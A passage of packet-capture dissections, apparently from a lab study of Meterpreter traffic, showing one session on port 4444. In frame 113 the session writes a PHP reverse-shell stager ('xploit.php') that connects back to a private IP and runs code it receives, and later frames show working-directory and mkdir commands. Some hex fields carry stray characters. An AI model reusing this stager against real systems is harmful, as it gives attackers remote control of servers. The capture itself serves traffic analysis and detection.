    Data: 0000000c0002001b000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x0002001b [Type: Request]: TLV_TYPE_FLAGS
    Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
    Data: 00000013000104b278706c6f69742e706870 [TLV]
    Command: 0x00000013 [Length]: 19
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 78706c6f69742e70687000 [Value] xploit.php
Meterpreter protocol, TLV details
    Data: 0000000c000104b3776262 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000104b3 [Type: Request]: TLV_TYPE_FILE_MODE
    Data: 77626200 [Value] 2002936320
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 c1 64 4e 40 00 40 06 52 45 c0 a8 01 2a c0 a8   ..dN@.@.RE...*..
0020  01 29 11 5c c6 50 2e 7d 26 16 a3 78 bc 99 50 18   .).\.P.}&..x..P.
0030  00 74 84 57 00 00 00 00 00 99 00 00 00 00 00 00   .t.W............
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 6f 70 65 6e 00 00 00 00 29 00 01 00 02   el_open....)....
0060  36 33 34 31 37 35 32 39 39 37 33 33 36 38 34 33   6341752997336843
0070  34 33 32 33 34 36 33 30 35 34 36 32 31 32 36 32   4323463054621262
0080  00 00 00 00 17 00 01 00 33 73 74 64 61 70 69 5f   ........3stdapi_
0090  66 73 5f 66 69 6c 65 00 00 00 00 0c 00 02 00 36   fs_file........6
00a0  00 00 00 03 00 00 00 0c 00 02 00 1b 00 00 00 01   ................
00b0  00 00 00 13 00 01 04 b2 78 70 6c 6f 69 74 2e 70   ........xploit.p
00c0  68 70 00 00 00 00 0c 00 01 04 b3 77 62 62 00      hp.........wbb.
```

```
    112 2288.534894    192.168.1.41          192.168.1.42          MTRPROT  153    50768 → 4444 [PSH, ACK] Seq=8003 Ack=5180 
Win=2050 Len=99
Frame 112: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8003, Ack: 5180, Len: 99
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000063 [Command length]: 99
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
    Data: 00000029000100023633343137353239393733333638343 3... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 363334313735323939373333363834333433323334363330... [Value] 63417529973368434323463054621262
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Response]: TLV_TYPE_CHANNEL_ID
    Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 8b 0d 0e 40 00 80 06 69 bb c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 bc 99 2e 7d 26 af 50 18   .*.P.\.x...}&.P.
0030  08 02 47 a2 00 00 00 00 00 63 00 00 00 01 00 00   ..G......c......
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 6f 70 65 6e 00 00 00 00 29 00 01 00 02   el_open....)....
0060  36 33 34 31 37 35 32 39 39 37 33 33 36 38 34 33   6341752997336843
0070  34 33 32 33 34 36 33 30 35 34 36 32 31 32 36 32   4323463054621262
0080  00 00 00 00 0c 00 02 00 32 00 00 00 02 00 00 00   ........2.......
0090  0c 00 02 00 04 00 00 00 00                        .........
```

```
    113 2288.648053    192.168.1.42          192.168.1.41          MTRPROT  1112   4444 → 50768 [PSH, ACK] Seq=5180 Ack=8102 Win=116
Len=1058
Frame 113: 1112 bytes on wire (8896 bits), 1112 bytes captured (8896 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 5180, Ack: 8102, Len: 1058
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000422 [Command length]: 1058
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
    Data: 0000002900010002303435313335373838333138363333335... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 303435313335373838333138363333353232383332363231... [Value] 04513578831863352283262135115481
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
    Data: 000003be000400342f2a3c3f706870202f2a2a2f20657272... [TLV]
    Command: 0x000003be [Length]: 958
    Type: 0x00040034 [Type: Request]: TLV_TYPE_CHANNEL_DATA
    Data: 2f2a3c3f706870202f2a2a2f206572726f725f7265706f72... [Value] /*<?php /**/ error_reporting(0); $ip = '192.168.56.101'; $port
= 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'str
Meterpreter protocol, TLV details
    Data: 0000000c00020019000003 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
    Data: 000003b6 [Value] 950
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  04 4a 64 50 40 00 40 06 4e ba c0 a8 01 2a c0 a8   .JdP@.@.N....*..
0020  01 29 11 5c c6 50 2e 7d 26 af a3 78 bc fc 50 18   .).\.P.}&..x..P.
0030  00 74 87 e0 00 00 00 00 04 22 00 00 00 00 00 00   .t......."......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 77 72 69 74 65 00 00 00 00 29 00 01 00   el_write....)...
0060  02 30 34 35 31 33 35 37 38 38 33 31 38 36 33 33   .045135788318633
0070  35 32 32 38 33 32 36 32 31 33 35 31 31 35 34 38   5228326213511548
0080  31 00 00 00 00 0c 00 02 00 32 00 00 00 02 00 00   1........2......
0090  03 be 00 04 00 34 2f 2a 3c 3f 70 68 70 20 2f 2a   .....4/*<?php /*
00a0  2a 2f 20 65 72 72 6f 72 5f 72 65 70 6f 72 74 69   */ error_reporti
00b0  6e 67 28 30 29 3b 20 24 69 70 20 3d 20 27 31 39   ng(0); $ip = '19
00c0  32 2e 31 36 38 2e 35 36 2e 31 30 31 27 3b 20 24   2.168.56.101'; $
00d0  70 6f 72 74 20 3d 20 34 34 34 34 3b 20 69 66 20   port = 4444; if 
00e0  28 28 24 66 20 3d 20 27 73 74 72 65 61 6d 5f 73   (($f = 'stream_s
00f0  6f 63 6b 65 74 5f 63 6c 69 65 6e 74 27 29 20 26   ocket_client') &
0100  26 20 69 73 5f 63 61 6c 6c 61 62 6c 65 28 24 66   & is_callable($f
0110  29 29 20 7b 20 24 73 20 3d 20 24 66 28 22 74 63   )) { $s = $f("tc
0120  70 3a 2f 2f 7b 24 69 70 7d 3a 7b 24 70 6f 72 74   p://{$ip}:{$port
0130  7d 22 29 3b 20 24 73 5f 74 79 70 65 20 3d 20 27   }"); $s_type = '
0140  73 74 72 65 61 6d 27 3b 20 7d 20 65 6c 73 65 69   stream'; } elsei
0150  66 20 28 28 24 66 20 3d 20 27 66 73 6f 63 6b 6f   f (($f = 'fsocko
0160  70 65 6e 27 29 20 26 26 20 69 73 5f 63 61 6c 6c   pen') && is_call
0170  61 62 6c 65 28 24 66 29 29 20 7b 20 24 73 20 3d   able($f)) { $s =
0180  20 24 66 28 24 69 70 2c 20 24 70 6f 72 74 29 3b    $f($ip, $port);
0190  20 24 73 5f 74 79 70 65 20 3d 20 27 73 74 72 65    $s_type = 'stre
01a0  61 6d 27 3b 20 7d 20 65 6c 73 65 69 66 20 28 28   am'; } elseif ((
01b0  24 66 20 3d 20 27 73 6f 63 6b 65 74 5f 63 72 65   $f = 'socket_cre
01c0  61 74 65 27 29 20 26 26 20 69 73 5f 63 61 6c 6c   ate') && is_call
01d0  61 62 6c 65 28 24 66 29 29 20 7b 20 24 73 20 3d   able($f)) { $s =
01e0  20 24 66 28 41 46 5f 49 4e 45 54 2c 20 53 4f 43    $f(AF_INET, SOC
01f0  4b 5f 53 54 52 45 41 4d 2c 20 53 4f 4c 5f 54 43   K_STREAM, SOL_TC
0200  50 29 3b 20 24 72 65 73 20 3d 20 40 73 6f 63 6b   P); $res = @sock
0210  65 74 5f 63 6f 6e 6e 65 63 74 28 24 73 2c 20 24   et_connect($s, $
0220  69 70 2c 20 24 70 6f 72 74 29 3b 20 69 66 20 28   ip, $port); if (
0230  21 24 72 65 73 29 20 7b 20 64 69 65 28 29 3b 20   !$res) { die(); 
0240  7d 20 24 73 5f 74 79 70 65 20 3d 20 27 73 6f 63   } $s_type = 'soc
0250  6b 65 74 27 3b 20 7d 20 65 6c 73 65 20 7b 20 64   ket'; } else { d
0260  69 65 28 27 6e 6f 20 73 6f 63 6b 65 74 20 66 75   ie('no socket fu
0270  6e 63 73 27 29 3b 20 7d 20 69 66 20 28 21 24 73   ncs'); } if (!$s
0280  29 20 7b 20 64 69 65 28 27 6e 6f 20 73 6f 63 6b   ) { die('no sock
0290  65 74 27 29 3b 20 7d 20 73 77 69 74 63 68 20 28   et'); } switch (
02a0  24 73 5f 74 79 70 65 29 20 7b 20 63 61 73 65 20   $s_type) { case 
02b0  27 73 74 72 65 61 6d 27 3a 20 24 6c 65 6e 20 3d   'stream': $len =
02c0  20 66 72 65 61 64 28 24 73 2c 20 34 29 3b 20 62    fread($s, 4); b
02d0  72 65 61 6b 3b 20 63 61 73 65 20 27 73 6f 63 6b   reak; case 'sock
02e0  65 74 27 3a 20 24 6c 65 6e 20 3d 20 73 6f 63 6b   et': $len = sock
02f0  65 74 5f 72 65 61 64 28 24 73 2c 20 34 29 3b 20   et_read($s, 4); 
0300  62 72 65 61 6b 3b 20 7d 20 69 66 20 28 21 24 6c   break; } if (!$l
0310  65 6e 29 20 7b 20 64 69 65 28 29 3b 20 7d 20 24   en) { die(); } $
0320  61 20 3d 20 75 6e 70 61 63 6b 28 22 4e 6c 65 6e   a = unpack("Nlen
0330  22 2c 20 24 6c 65 6e 29 3b 20 24 6c 65 6e 20 3d   ", $len); $len =
0340  20 24 61 5b 27 6c 65 6e 27 5d 3b 20 24 62 20 3d    $a['len']; $b =
0350  20 27 27 3b 20 77 68 69 6c 65 20 28 73 74 72 6c    ''; while (strl
0360  65 6e 28 24 62 29 20 3c 20 24 6c 65 6e 29 20 7b   en($b) < $len) {
0370  20 73 77 69 74 63 68 20 28 24 73 5f 74 79 70 65    switch ($s_type
0380  29 20 7b 20 63 61 73 65 20 27 73 74 72 65 61 6d   ) { case 'stream
0390  27 3a 20 24 62 20 2e 3d 20 66 72 65 61 64 28 24   ': $b .= fread($
03a0  73 2c 20 24 6c 65 6e 2d 73 74 72 6c 65 6e 28 24   s, $len-strlen($
03b0  62 29 29 3b 20 62 72 65 61 6b 3b 20 63 61 73 65   b)); break; case
03c0  20 27 73 6f 63 6b 65 74 27 3a 20 24 62 20 2e 3d    'socket': $b .=
03d0  20 73 6f 63 6b 65 74 5f 72 65 61 64 28 24 73 2c    socket_read($s,
03e0  20 24 6c 65 6e 2d 73 74 72 6c 65 6e 28 24 62 29    $len-strlen($b)
03f0  29 3b 20 62 72 65 61 6b 3b 20 7d 20 7d 20 24 47   ); break; } } $G
0400  4c 4f 42 41 4c 53 5b 27 6d 73 67 73 6f 63 6b 27   LOBALS['msgsock'
0410  5d 20 3d 20 24 73 3b 20 24 47 4c 4f 42 41 4c 53   ] = $s; $GLOBALS
0420  5b 27 6d 73 67 73 6f 63 6b 5f 74 79 70 65 27 5d   ['msgsock_type']
0430  20 3d 20 24 73 5f 74 79 70 65 3b 20 65 76 61 6c    = $s_type; eval
0440  28 24 62 29 3b 20 64 69 65 28 29 3b 00 00 00 0c   ($b); die();....
0450  00 02 00 19 00 00 03 b6                           ........
```

```
    114 2288.649453    192.168.1.41          192.168.1.42          MTRPROT  154    50768 → 4444 [PSH, ACK] Seq=8102 Ack=6238
Win=2053 Len=100
Frame 114: 154 bytes on wire (1232 bits), 154 bytes captured (1232 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8102, Ack: 6238, Len: 100
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000064 [Command length]: 100
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
    Data: 000000290001000230343531333537383833313836333335... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 303435313335373838333138363333353232383332363231... [Value] 045135788318633522832621351154 81
Meterpreter protocol, TLV details
    Data: 0000000c00020019000003 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020019 [Type: Response]: TLV_TYPE_LENGTH
    Data: 000003b6 [Value] 950
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 8c 0d 0f 40 00 80 06 69 b9 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 bc fc 2e 7d 2a d1 50 18   .*.P.\.x...}*.P.
0030  08 05 6a e0 00 00 00 00 00 64 00 00 00 01 00 00   ..j......d......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 77 72 69 74 65 00 00 00 00 29 00 01 00   el_write....)...
0060  02 30 34 35 31 33 35 37 38 38 33 31 38 36 33 33   .045135788318633
0070  35 32 32 38 33 32 36 32 31 33 35 31 31 35 34 38   5228326213511548
0080  31 00 00 00 00 0c 00 02 00 19 00 00 03 b6 00 00   1...............
0090  00 0c 00 02 00 04 00 00 00 00                     ..........
```

```
    115 2288.749184    192.168.1.42          192.168.1.41          MTRPROT  142    4444 → 50768 [PSH, ACK] Seq=6238 Ack=8202 Win=116
Len=88
Frame 115: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6238, Ack: 8202, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 0000002900010002383337313437363438353931313334... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3833373134373634383539313133343433313135353835393... [Value] 83714764859113443115585951598967
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000002 [Value] 2
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 80 64 52 40 00 40 06 52 82 c0 a8 01 2a c0 a8   ..dR@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 2a d1 a3 78 bd 60 50 18   .).\.P.}*..x.`P.
0030  00 74 84 16 00 00 00 00 00 58 00 00 00 00 00 00   .t.......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 38 33 37 31 34 37 36 34 38 35 39 31 31 33 34   .837147648591134
0070  34 33 31 31 35 35 38 35 39 35 31 35 39 38 39 36   4311558595159896
0080  37 00 00 00 00 0c 00 02 00 32 00 00 00 02         7........2....
```

```
    116 2288.751278    192.168.1.41          192.168.1.42          MTRPROT  142    50768 → 4444 [PSH, ACK] Seq=8202 Ack=6326
Win=2052 Len=88
Frame 116: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8202, Ack: 6326, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 00000029000100023833373134373634383539313133343434... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 383337313437363438353931313334343331313535383539... [Value] 83714764859113443115585951598967
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 80 0d 10 40 00 80 06 69 c4 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 bd 60 2e 7d 2b 29 50 18   .*.P.\.x.`.}+)P.
0030  08 04 64 13 00 00 00 00 00 58 00 00 00 01 00 00   ..d......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 38 33 37 31 34 37 36 34 38 35 39 31 31 33 34   .837147648591134
0070  34 33 31 31 35 35 38 35 39 35 31 35 39 38 39 36   4311558595159896
0080  37 00 00 00 00 0c 00 02 00 04 00 00 00 00         7.............
```

```
    117 2318.516852    192.168.1.42          192.168.1.41          MTRPROT  127    4444 → 50768 [PSH, ACK] Seq=6326 Ack=8290 Win=116
Len=73
Frame 117: 127 bytes on wire (1016 bits), 127 bytes captured (1016 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6326, Ack: 8290, Len: 73
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000049 [Command length]: 73
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000180001000173746461706 95f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000018000100017374646170695f66735f6765747764 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
    Data: 0000002900010002343432343035393031373637393039 36... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3434323430353930313736373930393635383733333535... [Value] 44240590176790965873355504025832
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 71 64 54 40 00 40 06 52 8f c0 a8 01 2a c0 a8   .qdT@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 2b 29 a3 78 bd b8 50 18   .).\.P.}+).x..P.
0030  00 74 84 07 00 00 00 00 00 49 00 00 00 00 00 00   .t.......I......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  67 65 74 77 64 00 00 00 00 29 00 01 00 02 34 34   getwd....)....44
0060  32 34 30 35 39 30 31 37 36 37 39 30 39 36 35 38   2405901767909658
0070  37 33 33 35 35 35 30 34 30 32 35 38 33 32 00      73355504025832.
```

```
    118 2318.518269    192.168.1.41          192.168.1.42          MTRPROT  186    50768 → 4444 [PSH, ACK] Seq=8290 Ack=6399
Win=2052 Len=132
Frame 118: 186 bytes on wire (1488 bits), 186 bytes captured (1488 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8290, Ack: 6399, Len: 132
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000084 [Command length]: 132
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000018000100017374646170695f66735f6765747764 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
    Data: 000000290001000234343234303539303137363739303936... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3434323430353930313736373930393635383733333535... [Value] 44240590176790965873355504025832
Meterpreter protocol, TLV details
    Data: 0000002f000104b0433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000002f [Length]: 47
    Type: 0x000104b0 [Type: Response]: TLV_TYPE_DIRECTORY_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 ac 0d 11 40 00 80 06 69 97 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 bd b8 2e 7d 2b 72 50 18   .*.P.\.x...}+rP.
0030  08 04 47 7e 00 00 00 00 00 84 00 00 00 01 00 00   ..G~............
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  67 65 74 77 64 00 00 00 00 29 00 01 00 02 34 34   getwd....)....44
0060  32 34 30 35 39 30 31 37 36 37 39 30 39 36 35 38   2405901767909658
0070  37 33 33 35 35 35 30 34 30 32 35 38 33 32 00 00   73355504025832..
0080  00 00 2f 00 01 04 b0 43 3a 5c 55 73 65 72 73 5c   ../....C:\Users\
0090  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 5c 44 65   chemi-usuario\De
00a0  73 6b 74 6f 70 5c 74 66 6d 5c 70 68 70 00 00 00   sktop\tfm\php...
00b0  00 0c 00 02 00 04 00 00 00 00                     ..........
```

```
    119 2323.486368    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=6399 Ack=8422 Win=119
Len=86
Frame 119: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 6399, Ack: 8422, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000180001000173746461706 95f66735f6d6b64697200... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000180001000173746461706 95f66735f6d6b646972 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f6d6b64697200 [Value] stdapi_fs_mkdir
Meterpreter protocol, TLV details
    Data: 00000029000100023534333039323430303735323836383 0... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 35343330393234303037353238363830383838373839363 8... [Value] 54309240075286808887896829759502
Meterpreter protocol, TLV details
    Data: 0000000d000104b074657374 [TLV]
    Command: 0x0000000d [Length]: 13
    Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
    Data: 7465737400 [Value] test
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 56 40 00 40 06 52 80 c0 a8 01 2a c0 a8   .~dV@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 2b 72 a3 78 be 3c 50 18   .).\.P.}+r.x.<P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  6d 6b 64 69 72 00 00 00 00 29 00 01 00 02 35 34   mkdir....)....54
0060  33 30 39 32 34 30 30 37 35 32 38 36 38 30 38 38   3092400752868088
0070  38 37 38 39 36 38 32 39 37 35 39 35 30 32 00 00   87896829759502..
0080  00 00 0d 00 01 04 b0 74 65 73 74 00               .......test.
```

```
    120 2323.487735    192.168.1.41          192.168.1.42          MTRPROT  139    50768 → 4444 [PSH, ACK] Seq=8422 Ack=6485
Win=2052 Len=85
Frame 120: 139 bytes on wire (1112 bits), 139 bytes captured (1112 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 8422, Ack: 6485, Len: 85
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000055 [Command length]: 85
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000180001000173746461706695f66735f6d6b64697200... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001800010001737464617069 5f66735f6d6b646972 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f6d6b64697200 [Value] stdapi_fs_mkdir
Meterpreter protocol, TLV details
    Data: 00000029000100023534333039323430303735323836383 0... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3534333039323430303735323836383038383837383936 38... [Value] 54309240075286808887896829759502
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 00 [TLV]
